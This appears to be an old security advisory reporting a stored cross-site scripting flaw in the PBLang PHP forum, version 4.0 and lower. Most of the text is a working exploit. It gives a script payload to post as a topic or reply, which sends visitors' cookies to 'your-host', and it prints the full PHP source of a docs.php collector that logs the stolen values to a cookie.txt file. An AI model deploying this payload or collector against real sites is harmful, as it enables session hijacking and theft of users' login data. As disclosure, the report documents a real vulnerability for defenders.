PBLang is a web forum written by PHP language. A security vulnerability in

the product allows posting of HTML code and JavaScript into existing web

pages thus causing it to be executed on the client end (a Cross-Site

Scripting vuln).



|--------------------------------------------|



Vulnerable systems: PBLang forum

Version: 4.0 or lower

Website: http://pblang.drmartinus.de/

Problem: Cross Site Scripting (XSS)



|--------------------------------------------|



If someone inserts <script>`anyscript`</script> instead of the post's

content, the JavaScript code is executed by Internet Explorer or some

other web browsers. This allows stealing of cookie data and other

interesting things.



Exploit:



Inserting a new topic (or reply) with the following script, it will send

visitor's cookies to your host. The output is saved to http://your-

host/cookie.txt



*--------------------------------------------------------------------------

-------------------



<script>window.open("http://your-host/docs.php?docs="+escape

(document.cookie), "subwindows", "height=100,width=486")</script>



---------------------------------------------------------------------------

------------------*



Or insert every scripts - Java and HTML (ex: javascript:history.go(-1),

window.write('Hello world'), javascript:alert('Hi!!!'). )





* Code of docs.php:*



*-------------------------------------------------docs.php-----------------

-------------------------------

<?php

//Copyright by W_Hat (www.pcworldvn.com)

define ("LINE", "\r\n");

define ("HTML_LINE", "<br>");

function getvars($arr, $title)

{

$res = "";

$len = count($arr);

if ($len>0)

{

if (strlen($title)>0)

{

print("[--------$title--------]" . HTML_LINE);

$res .= "[--------$title--------]" . LINE;

}

foreach ($arr as $key => $value)

{

print("[$key]" . HTML_LINE);

print($arr[$key] . HTML_LINE);

$res .= "[$key]" . LINE . $arr[$key] . LINE;

}

}

return $res;

}

// get current date

$now = date("Y-m-d H:i:s");

// init

$myData = "[-----$now-----]" . LINE;

// get

$myData .= getvars($HTTP_GET_VARS, "");

// file

$file = $REMOTE_ADDR . "cookie.txt";

$mode = "r+";

if (!file_exists($file))

$mode = "w+";

$fp = fopen ($file, $mode);

fseek($fp, 0, SEEK_END);

fwrite($fp, $myData);

fclose($fp);

?>

-------------------------------------------------docs.php------------------

------------------------------*





Name: Quan Van Truong

E-Mail: quan_vu_208cn@yahoo.com

Occupation: Bug Hunter